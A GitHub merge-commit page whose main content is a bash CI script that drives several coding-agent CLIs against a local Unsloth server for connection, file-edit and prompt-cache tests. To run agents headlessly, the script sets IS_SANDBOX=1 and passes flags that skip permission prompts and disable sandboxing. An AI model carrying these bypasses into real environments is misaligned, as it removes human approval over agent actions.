Merge remote-tracking branch 'origin/main' into merge/5945-main
# Conflicts: # pyproject.toml # scripts/uninstall.sh # studio/install_llama_prebuilt.py # studio/setup.sh
This commit is contained in:
commit
7efe4c7107
734 changed files with 123840 additions and 14780 deletions
|
|
@ -1,8 +0,0 @@
|
|||
# Commits listed here are skipped by `git blame` so that bulk, whitespace-only
|
||||
# changes don't obscure the real authorship of a line.
|
||||
#
|
||||
# GitHub honors this file automatically. To use it locally, run once:
|
||||
# git config blame.ignoreRevsFile .git-blame-ignore-revs
|
||||
|
||||
# chore(studio/frontend): normalize line endings to LF
|
||||
c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a
|
||||
682
.github/scripts/agent-guides-drive.sh
vendored
Executable file
682
.github/scripts/agent-guides-drive.sh
vendored
Executable file
|
|
@ -0,0 +1,682 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
#
|
||||
# Drive one coding agent against the running `unsloth run` server for the
|
||||
# Local Agent Guides CI. All failures from here are failure class (c)
|
||||
# "guide drift": the server preflight already passed and the agent CLI
|
||||
# already installed, so a failure here means the documented recipe in
|
||||
# unsloth_cli/commands/start.py no longer produces a working flow.
|
||||
#
|
||||
# Self-updating: for all six agents (claude, codex, hermes, openclaw,
|
||||
# opencode, pi) we obtain the exact env + command from
|
||||
# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
|
||||
# exercised automatically.
|
||||
#
|
||||
# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
|
||||
# can never hang the runner -- a timeout is reported as guide drift with a
|
||||
# distinct message.
|
||||
#
|
||||
# Usage:
|
||||
# agent-guides-drive.sh connection <agent>
|
||||
# agent-guides-drive.sh file-edit <agent>
|
||||
# agent-guides-drive.sh attribution-ab claude
|
||||
#
|
||||
# Required env (exported by serve-unsloth-run.sh):
|
||||
# UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID
|
||||
# UNSLOTH_LLAMA_LOG_DIR AGENT_INVOKE_TIMEOUT UNSLOTH_SEED
|
||||
set -uo pipefail
|
||||
|
||||
MODE="${1:?usage: agent-guides-drive.sh <mode> <agent>}"
|
||||
AGENT="${2:?usage: agent-guides-drive.sh <mode> <agent>}"
|
||||
|
||||
: "${UNSLOTH_BASE_URL:?serve step did not export UNSLOTH_BASE_URL}"
|
||||
: "${UNSLOTH_API_KEY:?serve step did not export UNSLOTH_API_KEY}"
|
||||
: "${UNSLOTH_MODEL_ID:?serve step did not export UNSLOTH_MODEL_ID}"
|
||||
# Determinism (seed/temp) is applied at the server level by
|
||||
# serve-unsloth-run.sh --extra; agents inherit it through the API.
|
||||
TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}"
|
||||
|
||||
# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner
|
||||
# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless
|
||||
# to the other agents, which ignore it.
|
||||
export IS_SANDBOX=1
|
||||
|
||||
# Absolute paths anchored at the repo root (this script lives in
|
||||
# .github/scripts/). Everything writes here regardless of the current working
|
||||
# directory, so the file-edit mode can `cd` into a scratch work dir without
|
||||
# breaking log/redaction writes.
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
|
||||
LOGS_DIR="$REPO_ROOT/logs"
|
||||
REDACTED_DIR="$REPO_ROOT/redacted-configs"
|
||||
WORKDIR_BASE="$REPO_ROOT/agent-workdir"
|
||||
CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
|
||||
mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
|
||||
CONNECT_REF="unsloth_cli/commands/start.py"
|
||||
|
||||
# Prefill-shrinking flags for Claude Code. The heavyweight agents send
|
||||
# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
|
||||
# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
|
||||
# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
|
||||
# and restricting tools cuts the prefill to a few hundred tokens so it completes
|
||||
# quickly on CPU. These only shape the request size; the start.py recipe
|
||||
# (endpoint, auth, model) is still exercised end to end.
|
||||
#
|
||||
# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
|
||||
# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is
|
||||
# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to
|
||||
# call a tool; they do NOT remove its schema from what is sent to the model, so
|
||||
# the earlier whitelist left the full ~18k in the prompt and CPU prefill
|
||||
# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is
|
||||
# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk
|
||||
# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.)
|
||||
#
|
||||
# Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total
|
||||
# (a one-line --system-prompt-file + the user turn), which prefills instantly.
|
||||
CLAUDE_CONNECT_FLAGS=(
|
||||
--system-prompt-file "$SCRIPT_DIR/ci-connect-prompt.txt"
|
||||
--tools ""
|
||||
)
|
||||
# File-edit: the task needs the file/shell tools, so send only those schemas
|
||||
# (~2.3k tokens vs ~18k for the full set).
|
||||
CLAUDE_EDIT_FLAGS=(
|
||||
--system-prompt-file "$SCRIPT_DIR/ci-min-system-prompt.txt"
|
||||
--tools "Bash,Edit,Write,Read"
|
||||
)
|
||||
|
||||
guide_fail() {
|
||||
echo "::error::[guide drift] agent=${AGENT}: $* (preflight passed + install OK, so the documented flow in ${CONNECT_REF} drifted)." >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Redact the API key from any file we are about to keep as an artifact.
|
||||
# Portable across GNU sed (Linux runners) and BSD sed (macOS), so the
|
||||
# redaction is never silently skipped.
|
||||
redact() {
|
||||
local f
|
||||
for f in "$@"; do
|
||||
[ -f "$f" ] || continue
|
||||
if sed --version >/dev/null 2>&1; then
|
||||
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
else
|
||||
sed -i '' "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Print a file to the log with the key scrubbed, without mutating it (the raw file is
|
||||
# still needed to parse the real env). Use this instead of `cat` for any transcript that
|
||||
# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
|
||||
cat_redacted() {
|
||||
sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
|
||||
}
|
||||
|
||||
# A reply must be non-empty and free of connection/auth errors.
|
||||
assert_reply() {
|
||||
local out="$1"
|
||||
if [ ! -s "$out" ]; then
|
||||
guide_fail "agent produced an EMPTY reply"
|
||||
fi
|
||||
if grep -qiE 'connection refused|connection error|econnrefused|fetch failed|http 4[0-9][0-9]|unauthorized|invalid api key|authentication failed' "$out"; then
|
||||
guide_fail "agent reply contained a connection/auth error: $(grep -iE 'connection|unauthorized|auth|http 4' "$out" | head -1)"
|
||||
fi
|
||||
echo "[$AGENT] reply (first 20 lines):"
|
||||
head -20 "$out"
|
||||
}
|
||||
|
||||
# Run a command under a hard timeout; map 124 to a guide-drift hang message.
|
||||
run_timed() { # $1=outfile, rest=command
|
||||
local out="$1"; shift
|
||||
timeout "$TIMEOUT" "$@" > "$out" 2>&1
|
||||
local rc=$?
|
||||
if [ "$rc" -eq 124 ]; then
|
||||
redact "$out" # guide_fail exits below, so scrub the transcript here too
|
||||
echo "[$AGENT] last 40 lines before timeout:"; tail -40 "$out" 2>/dev/null || true
|
||||
guide_fail "invoke timed out after ${TIMEOUT}s (headless-TTY hang -- the recipe likely needs a non-interactive/print flag)"
|
||||
fi
|
||||
return "$rc"
|
||||
}
|
||||
|
||||
# Read a value from an `export VAR=...` line in the connect --no-launch output.
|
||||
# `unsloth start` writes each agent's session config off the user's ~ and points
|
||||
# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
|
||||
# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
|
||||
raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
|
||||
local raw="$LOGS_DIR/connect-${AGENT}.txt"
|
||||
local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
|
||||
v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
|
||||
}
|
||||
|
||||
# ── 5-agent start.py path: parse env + command from --no-launch ─────────
|
||||
# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
|
||||
# launch command on the last printed line), and runs start.py's config
|
||||
# writers as a side effect (it writes each agent's relocated session config).
|
||||
parse_connect() {
|
||||
local raw="$LOGS_DIR/connect-${AGENT}.txt"
|
||||
# CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
|
||||
# config (which now prompts by default), so the file-edit test opts into auto-approval
|
||||
# here, the same intent as claude/codex's per-call bypass flags.
|
||||
local yolo=()
|
||||
[ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
|
||||
if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
|
||||
cat_redacted "$raw"
|
||||
guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
|
||||
fi
|
||||
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
|
||||
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
|
||||
# The launch command is the last non-export, non-status line. start.py
|
||||
# prints "Studio <url> · model <id>" and "Updated ..." status lines first.
|
||||
CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
|
||||
| grep -E '[^[:space:]]' | tail -1)"
|
||||
[ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output"
|
||||
redact "$raw"
|
||||
}
|
||||
|
||||
# Cross-check the documented contract knobs so silent start.py changes
|
||||
# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
|
||||
crosscheck_contract() {
|
||||
local raw="$LOGS_DIR/connect-${AGENT}.txt"
|
||||
local cfg home
|
||||
case "$AGENT" in
|
||||
codex)
|
||||
grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
|
||||
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
|
||||
home="$(raw_env CODEX_HOME)"
|
||||
# An empty relocation var would make cfg "/config.toml" and silently
|
||||
# skip the [ -f ] contract check below; fail loudly instead.
|
||||
[ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
|
||||
cfg="$home/config.toml"
|
||||
if [ -f "$cfg" ]; then
|
||||
grep -q 'wire_api = "responses"' "$cfg" \
|
||||
|| guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
|
||||
cp "$cfg" "$REDACTED_DIR/codex-config.toml"
|
||||
fi
|
||||
grep -q 'codex --oss --profile unsloth_api' "$raw" \
|
||||
|| echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
|
||||
;;
|
||||
claude)
|
||||
grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
|
||||
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
|
||||
grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
|
||||
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
|
||||
;;
|
||||
hermes)
|
||||
grep -q 'UNSLOTH_API_KEY' "$raw" \
|
||||
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
|
||||
home="$(raw_env HERMES_HOME)"
|
||||
[ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
|
||||
cfg="$home/config.yaml"
|
||||
[ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
|
||||
;;
|
||||
openclaw)
|
||||
cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
|
||||
if [ -n "$cfg" ] && [ -f "$cfg" ]; then
|
||||
grep -q '"openai-completions"' "$cfg" \
|
||||
|| echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
|
||||
cp "$cfg" "$REDACTED_DIR/openclaw.json"
|
||||
fi
|
||||
;;
|
||||
opencode)
|
||||
cfg="$(raw_env OPENCODE_CONFIG)"
|
||||
[ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
|
||||
;;
|
||||
pi)
|
||||
# Pi has no config-dir env var; the session is HOME-relocated, and the
|
||||
# provider config lives at $HOME/.pi/agent/models.json.
|
||||
cfg="$(raw_env HOME)/.pi/agent/models.json"
|
||||
if [ -f "$cfg" ]; then
|
||||
grep -q '"openai-completions"' "$cfg" \
|
||||
|| echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
|
||||
cp "$cfg" "$REDACTED_DIR/pi-models.json"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
redact "$REDACTED_DIR"/* 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Heavyweight agents (hermes, openclaw) bake a large system prompt + tool JSON
|
||||
# schemas into every request, which a CPU runner cannot prefill before the invoke
|
||||
# timeout. As with claude's --tools, we shrink the request from the agent's own
|
||||
# config: zero tools for the connection probe collapses the prompt to a few
|
||||
# hundred tokens, since both CLIs gate the bulk of their prompt on having tools.
|
||||
|
||||
# Hermes: an explicit empty cli toolset disables all tools (and drops the
|
||||
# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
|
||||
# Hermes enables its default cli toolset when the session config does not pin one,
|
||||
# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
|
||||
# zero tools. That needs a YAML parser, and the runner's bare python3 has no
|
||||
# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
|
||||
# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
|
||||
# that `unsloth start` printed, not the user's ~/.hermes.
|
||||
# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
|
||||
patch_hermes_tools() { # $1 = none|default
|
||||
# Check the raw var BEFORE appending /config.yaml: the joined path is never
|
||||
# empty, so the old guard could not fire and the patcher would die on
|
||||
# "/config.yaml" with a bare traceback instead of this clear failure.
|
||||
local home; home="$(raw_env HERMES_HOME)"
|
||||
[ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
|
||||
local cfg; cfg="$home/config.yaml"
|
||||
# Find a python that can import yaml. The runner's bare python3 cannot, but the
|
||||
# interpreter in the `unsloth` console-script shebang provably can (it runs
|
||||
# start.py's write_hermes_config, which imports yaml). Try that first, then
|
||||
# any python on PATH, then the venv sibling, picking the first with PyYAML.
|
||||
local cand py="" shebang
|
||||
shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
|
||||
for cand in "$shebang" python3 python "$(dirname "$(command -v unsloth)")/python"; do
|
||||
[ -n "$cand" ] || continue
|
||||
{ [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
|
||||
if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
|
||||
done
|
||||
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
|
||||
echo "[hermes] patching $cfg with $py"
|
||||
"$py" - "$1" "$cfg" <<'PY'
|
||||
import os, sys
|
||||
import yaml
|
||||
mode = sys.argv[1]
|
||||
p = sys.argv[2]
|
||||
cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
|
||||
ts = cfg.get("platform_toolsets")
|
||||
if not isinstance(ts, dict):
|
||||
ts = cfg["platform_toolsets"] = {}
|
||||
if mode == "none":
|
||||
ts["cli"] = [] # explicit empty list -> zero tools (not "defaults")
|
||||
else:
|
||||
ts.pop("cli", None) # file-edit needs real tools -> restore defaults
|
||||
with open(p, "w") as fh:
|
||||
yaml.safe_dump(cfg, fh, sort_keys=False)
|
||||
print(f"[hermes] platform_toolsets.cli = {ts.get('cli', 'default')}")
|
||||
PY
|
||||
}
|
||||
|
||||
# OpenClaw: 'openclaw agent' has no tool/prompt flags, so we define a 'ci' agent
|
||||
# in openclaw.json. tools.deny ["*"] sends zero tool schemas (deny always wins)
|
||||
# for the connection probe; contextInjection "never" + defaults.skipBootstrap
|
||||
# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
|
||||
# both modes. --agent must reference a defined agent, so write it before invoking.
|
||||
patch_openclaw_agent() { # $1 = notools|tools
|
||||
# OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
|
||||
# `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
|
||||
local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
|
||||
[ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
|
||||
python3 - "$1" "$cfg" <<'PY'
|
||||
import os, sys, json
|
||||
mode = sys.argv[1]
|
||||
p = sys.argv[2]
|
||||
cfg = json.load(open(p)) if os.path.exists(p) else {}
|
||||
agents = cfg.setdefault("agents", {})
|
||||
agents.setdefault("defaults", {})["skipBootstrap"] = True
|
||||
lst = [a for a in agents.get("list", []) if a.get("id") != "ci"]
|
||||
agent = {"id": "ci", "contextInjection": "never"}
|
||||
if mode == "notools":
|
||||
agent["tools"] = {"deny": ["*"]}
|
||||
lst.append(agent)
|
||||
agents["list"] = lst
|
||||
with open(p, "w") as fh:
|
||||
json.dump(cfg, fh, indent=2)
|
||||
print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
|
||||
PY
|
||||
}
|
||||
|
||||
# Build an invoke script that applies start.py's env then runs the launch
|
||||
# command (with extra args appended) under bash. We do NOT eval connect's env
|
||||
# into this shell; we write it into a one-shot script so the export/unset
|
||||
# semantics are exactly what start.py printed. The script path is absolute
|
||||
# so it is valid even when the caller has cd'd into a scratch work dir.
|
||||
invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
|
||||
local out="$1"; shift
|
||||
local script="$LOGS_DIR/invoke-${AGENT}.sh"
|
||||
local real; real="$(mktemp)"
|
||||
# CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
|
||||
# session knob without editing the user's config; empty -> use what start.py emitted.
|
||||
local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
|
||||
{
|
||||
echo "set -uo pipefail"
|
||||
echo "$CONNECT_ENV"
|
||||
[ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
|
||||
# Append extra args (the prompt / flags) to the launch command verbatim.
|
||||
printf '%s' "$cmd"
|
||||
local a
|
||||
for a in "$@"; do printf ' %q' "$a"; done
|
||||
printf '\n'
|
||||
} > "$real"
|
||||
# Upload a REDACTED copy of the script, but EXECUTE the un-redacted one from a
|
||||
# temp path outside the artifact dir. Redacting the script we run would turn
|
||||
# the real `export TOKEN=sk-...` line into `export TOKEN=<REDACTED>`, which is
|
||||
# invalid bash (the `<`/`>` are redirections) and silently breaks every agent.
|
||||
# Writing the redacted copy up front keeps the key out of the artifact even if
|
||||
# the run times out (run_timed exits before returning here).
|
||||
cp "$real" "$script"; redact "$script"
|
||||
# The connect one-liner now carries the key as an inline env assignment; scrub it on
|
||||
# the way to the log (the executed $real keeps the live value).
|
||||
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
|
||||
run_timed "$out" bash "$real"
|
||||
local rc=$?
|
||||
rm -f "$real"
|
||||
redact "$out" # the transcript can echo the token; scrub before upload
|
||||
return "$rc"
|
||||
}
|
||||
|
||||
# ═════════════════════════════════════════════════════════════════════════
|
||||
case "$MODE" in
|
||||
# ── connection: trivial prompt, assert a non-empty, error-free reply ────
|
||||
connection)
|
||||
PROMPT='Reply with exactly the single word: pong'
|
||||
OUT="$LOGS_DIR/${AGENT}-connection.txt"
|
||||
parse_connect
|
||||
crosscheck_contract
|
||||
# claude/codex run in print mode via the flags start.py emits
|
||||
# (claude -p / codex exec). For agents whose default subcommand prints
|
||||
# to stdout we pass the prompt through ctx.args.
|
||||
case "$AGENT" in
|
||||
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
|
||||
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
|
||||
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
|
||||
pi) invoke_via_connect "$OUT" -p "$PROMPT" ;;
|
||||
hermes) patch_hermes_tools none
|
||||
invoke_via_connect "$OUT" -z "$PROMPT" ;;
|
||||
openclaw) patch_openclaw_agent notools
|
||||
CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
|
||||
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
|
||||
*) invoke_via_connect "$OUT" "$PROMPT" ;;
|
||||
esac
|
||||
# A non-zero exit from the documented launch command is drift even if it
|
||||
# printed something: a benign-looking "command not found" / usage dump would
|
||||
# otherwise slip past assert_reply (which only flags empty/error-keyword text).
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || guide_fail "the documented launch command exited non-zero (rc=$rc) -- see the transcript above"
|
||||
assert_reply "$OUT"
|
||||
echo "[$AGENT] connection OK"
|
||||
;;
|
||||
|
||||
# ── file-edit: deterministic 2-turn hello.py test (Qwen3.5-2B) ──────────
|
||||
file-edit)
|
||||
WORK="$WORKDIR_BASE/${AGENT}"
|
||||
rm -rf "$WORK"; mkdir -p "$WORK"
|
||||
OUT1="$LOGS_DIR/${AGENT}-fileedit-turn1.txt"
|
||||
OUT2="$LOGS_DIR/${AGENT}-fileedit-turn2.txt"
|
||||
T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
|
||||
T2='Run hello.py with python and show me the exact output.'
|
||||
|
||||
# The start.py recipe writers + crosscheck must see the repo; run them
|
||||
# from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
|
||||
# gate tool approval through their config (prompting by default), so file-edit
|
||||
# opts them into auto-approval to run edits/commands headlessly.
|
||||
case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
|
||||
parse_connect
|
||||
crosscheck_contract
|
||||
# File-edit needs real tools, so we cannot zero them as in connection.
|
||||
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
|
||||
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
|
||||
# dir is empty, so no project context files are auto-loaded either.
|
||||
case "$AGENT" in
|
||||
hermes) patch_hermes_tools default ;;
|
||||
openclaw) patch_openclaw_agent tools ;;
|
||||
esac
|
||||
|
||||
# Drive from inside the work dir so the agent edits files there. All log
|
||||
# writes use absolute $LOGS_DIR, so cwd does not matter for them.
|
||||
cd "$WORK" || guide_fail "could not enter work dir $WORK"
|
||||
|
||||
invoke_turn() { # $1=outfile $2=continue? $3=prompt
|
||||
local out="$1" cont="$2" prompt="$3"
|
||||
case "$AGENT" in
|
||||
pi)
|
||||
# Pi continues the previous session with -c; provider/model come from
|
||||
# the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
|
||||
if [ "$cont" = "continue" ]; then
|
||||
invoke_via_connect "$out" -p --continue "$prompt"
|
||||
else
|
||||
invoke_via_connect "$out" -p "$prompt"
|
||||
fi ;;
|
||||
claude)
|
||||
# --dangerously-skip-permissions lets headless claude actually use the
|
||||
# Write/Bash tools (otherwise it blocks on an approval prompt and emits
|
||||
# nothing). IS_SANDBOX=1 (exported above) authorizes it.
|
||||
if [ "$cont" = "continue" ]; then
|
||||
invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p --continue "$prompt"
|
||||
else
|
||||
invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p "$prompt"
|
||||
fi ;;
|
||||
codex)
|
||||
# --dangerously-bypass-approvals-and-sandbox gives codex exec
|
||||
# workspace-write (default is read-only -> cannot create hello.py) and
|
||||
# skips the bubblewrap sandbox that the runner lacks.
|
||||
if [ "$cont" = "continue" ]; then
|
||||
invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox resume --last "$prompt"
|
||||
else
|
||||
invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox "$prompt"
|
||||
fi ;;
|
||||
opencode) invoke_via_connect "$out" run "$prompt" ;;
|
||||
hermes) invoke_via_connect "$out" -z "$prompt" ;;
|
||||
openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \
|
||||
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
|
||||
*) invoke_via_connect "$out" "$prompt" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Turn 1: create hello.py.
|
||||
invoke_turn "$OUT1" fresh "$T1"
|
||||
# Fail on a non-zero agent exit before trusting side effects: an agent can
|
||||
# error out (API/tool failure) yet leave a plausible file/transcript behind,
|
||||
# which would otherwise slip past the assertions below (mirrors connection).
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || { echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true; \
|
||||
guide_fail "turn 1 (create hello.py) exited non-zero (rc=$rc)"; }
|
||||
|
||||
# Hard assertions on the side effect (the real test): file + content + run.
|
||||
if [ ! -f hello.py ]; then
|
||||
echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true
|
||||
guide_fail "turn 1 did not create hello.py"
|
||||
fi
|
||||
grep -q 'Hello' hello.py || guide_fail "hello.py does not contain 'Hello'"
|
||||
RUN_OUT="$(python3 hello.py 2>&1 || true)"
|
||||
[ "$RUN_OUT" = "Hello" ] || guide_fail "python3 hello.py printed '$RUN_OUT', expected exactly 'Hello'"
|
||||
echo "[$AGENT] turn 1 OK (file created, prints 'Hello')"
|
||||
|
||||
# Turn 2: same cwd + session continuation; assert the agent's run output
|
||||
# contains Hello. Narration drift is WARN-only, missing output is a hard fail.
|
||||
invoke_turn "$OUT2" continue "$T2"
|
||||
rc=$?
|
||||
[ "$rc" -eq 0 ] || { echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true; \
|
||||
guide_fail "turn 2 (run hello.py) exited non-zero (rc=$rc)"; }
|
||||
if grep -q 'Hello' "$OUT2"; then
|
||||
echo "[$AGENT] turn 2 OK (run output contains 'Hello')"
|
||||
else
|
||||
echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true
|
||||
guide_fail "turn 2 run/bash output did not contain 'Hello'"
|
||||
fi
|
||||
cd "$REPO_ROOT" || true
|
||||
echo "[$AGENT] file-edit OK"
|
||||
;;
|
||||
|
||||
# ── attribution-ab: Claude Code KV-cache HIT vs MISS ────────────────────
|
||||
attribution-ab)
|
||||
[ "$AGENT" = "claude" ] || guide_fail "attribution-ab only applies to claude"
|
||||
# The llama-server log filename uses the INTERNAL random llama.cpp port,
|
||||
# not STUDIO_PORT, so we never glob by port: assert-prompt-cache.sh picks
|
||||
# the newest llama-*.log and we slice it by a byte offset (`mark`) captured
|
||||
# right before the measured turn, so an earlier turn's reuse can't leak in.
|
||||
LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
|
||||
export LLAMA_LOG_DIR
|
||||
parse_connect # prints session env + suppression flags (no ~/.claude write)
|
||||
crosscheck_contract
|
||||
PROMPT='Reply with exactly the single word: pong'
|
||||
|
||||
# Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
|
||||
# --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
|
||||
# HIT on the continued turn, since the system-prompt prefix is stable.
|
||||
invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes
|
||||
FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2
|
||||
invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
|
||||
CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
|
||||
|
||||
# Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
|
||||
# the env var to 1 and strip the suppression flags from the launch command
|
||||
# (without them the dynamic attribution line is included and changes every
|
||||
# turn, so the shared prefix moves and the KV cache is invalidated, ~90%
|
||||
# slower). This is session-only: nothing is written to ~/.claude.
|
||||
CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
|
||||
CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
|
||||
| sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
|
||||
invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
|
||||
FROM_MISS="$(bash "$CACHE_HELPER" mark)"
|
||||
invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
|
||||
CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
|
||||
unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
|
||||
